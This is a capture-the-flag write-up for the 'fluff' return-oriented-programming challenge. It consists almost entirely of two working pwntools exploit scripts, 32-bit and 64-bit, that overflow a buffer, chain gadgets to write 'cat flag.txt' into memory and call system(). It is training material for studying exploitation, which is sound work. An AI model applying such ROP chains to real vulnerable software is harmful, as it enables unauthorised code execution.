fluff

Analysis

The challenges was similar to that of write4, the only difference was in building creative ROP chains, everything else was similar, had to get a working write primitive, load the string into the memory, and call system to get the flag.

32 bit

from pwn import *

# --> 0x0804868c: mov edx, 0xdefaced0; ret;
# --> 0x080483e1: pop ebx; ret;
# --> 0x0804867b: xor edx, ebx; pop ebp; mov edi, 0xdeadbabe; ret;
# --> 0x08048689: xchg edx, ecx; pop ebp; mov edx, 0xdefaced0; ret;
# --> 0x08048693: mov dword ptr [ecx], edx; pop ebp; pop ebx; xor byte ptr [ecx], bl; ret;
# --> 0x08048430: System call

## ----------------------------- Sequence
## XOR the address of data section with EDX value
## Move the EDX value to EDX
## Stored the XORed address into EBX
## XOR EDX and EBX -> EDX has the actual address for the data section
## Xchange the values for ECX and EDX -> ECX has the address for data section
## XOR the chunk with EDX value
## Move the EDX value into EDX
## Store the XORed chunk into EBX
## Execute the XOR EDX and EBX --> Actual Chunk value is in EDX
## Move the Chunk from EDX to data section


rop_chain = []
offset = "A" * 44

load_edx = 					0x0804868c
load_ebx = 					0x080483e1
xor_edx_ebx = 				0x0804867b
xchg_edx_ecx =			 	0x08048689
store_chunk = 				0x08048693
data_section = 				0x0804a028
edx_val = 					0xdefaced0
random_pop_val = 			0xdeadbeef
system = 					0x08048430

flag_text = "cat flag.txt"

def get_hex_arr():
	arr = re.findall('.{4}', flag_text)
	return [e[::-1].encode("hex") for e in arr]

ptr = 0
for chunk in get_hex_arr():
	rop_chain.append(p32(load_edx))
	rop_chain.append(p32(load_ebx))
	xored_data_section = (data_section + ptr) ^ edx_val
	rop_chain.append(p32(xored_data_section))
	rop_chain.append(p32(xor_edx_ebx))
	rop_chain.append(p32(random_pop_val))
	rop_chain.append(p32(xchg_edx_ecx))
	rop_chain.append(p32(random_pop_val))
	rop_chain.append(p32(load_edx))
	rop_chain.append(p32(load_ebx))
	rop_chain.append(p32(int(chunk, 16) ^ edx_val))
	rop_chain.append(p32(xor_edx_ebx))
	rop_chain.append(p32(random_pop_val))
	rop_chain.append(p32(store_chunk))
	rop_chain.append(p32(random_pop_val))
	rop_chain.append(p32(0))
	ptr += 4

rop_chain.append(p32(system))
rop_chain.append(p32(0))
rop_chain.append(p32(data_section))

print offset + ''.join(rop_chain)

64 bit

from pwn import *

## 0x0000000000400832: pop r12; mov r13d, 0x604060; ret; 
## 0x000000000040082f: xor r11, r12; pop r12; mov r13d, 0x604060; ret; 
## 0x0000000000400822: xor r11, r11; pop r14; mov edi, 0x601050; ret; 
## 0x0000000000400840: xchg r11, r10; pop r15; mov r11d, 0x602050; ret; 
## 0x000000000040084e: mov qword ptr [r10], r11; pop r13; pop r12; xor byte ptr [r10], r12b; ret; 
## 0x00000000004008c3: pop rdi; ret; 

## ----------------------------- Sequence
## Load the address into r12
## Clear r11
## Xor r11 and r12 to get the value of address into r11
## exchange r11 and r10 to get the value of address into r10
## Load the chunk into r12
## Clear r11
## Xor r11 and r12 to get the chunk into r11
## Execute the move instruction


rop_chain = []
offset = "A" * 40

clear_r11 = 				0x400822
load_rdi = 					0x4008c3
load_r12 = 					0x400832
xor_r11_r12 = 				0x40082f
xchg_r11_r10 = 				0x400840
store_chunk = 				0x40084e
data_section = 				0x601050
pop_null_val =	 			0x000000
system = 					0x4005e0

flag_text = "cat flag.txt\x00\x00\x00\x00"

def get_hex_arr():
	arr = re.findall('.{8}', flag_text)
	return [e[::-1].encode("hex") for e in arr]

ptr = 0
for chunk in get_hex_arr():
	## Load the address into the position
	rop_chain.append(p64(load_r12))
	rop_chain.append(p64(data_section + ptr))

	rop_chain.append(p64(clear_r11))
	rop_chain.append(p64(pop_null_val))

	rop_chain.append(p64(xor_r11_r12))
	rop_chain.append(p64(pop_null_val))	

	rop_chain.append(p64(xchg_r11_r10))
	rop_chain.append(p64(pop_null_val))

	## Load the chunk into the position
	rop_chain.append(p64(load_r12))
	rop_chain.append(p64(int(chunk, 16)))

	rop_chain.append(p64(clear_r11))
	rop_chain.append(p64(pop_null_val))

	rop_chain.append(p64(xor_r11_r12))
	rop_chain.append(p64(pop_null_val))

	## Store the chunk into the data section	
	rop_chain.append(p64(store_chunk))
	rop_chain.append(p64(pop_null_val))
	rop_chain.append(p64(pop_null_val))

	ptr += 8

rop_chain.append(p64(load_rdi))
rop_chain.append(p64(data_section))
rop_chain.append(p64(system))

print offset + ''.join(rop_chain)

Last updated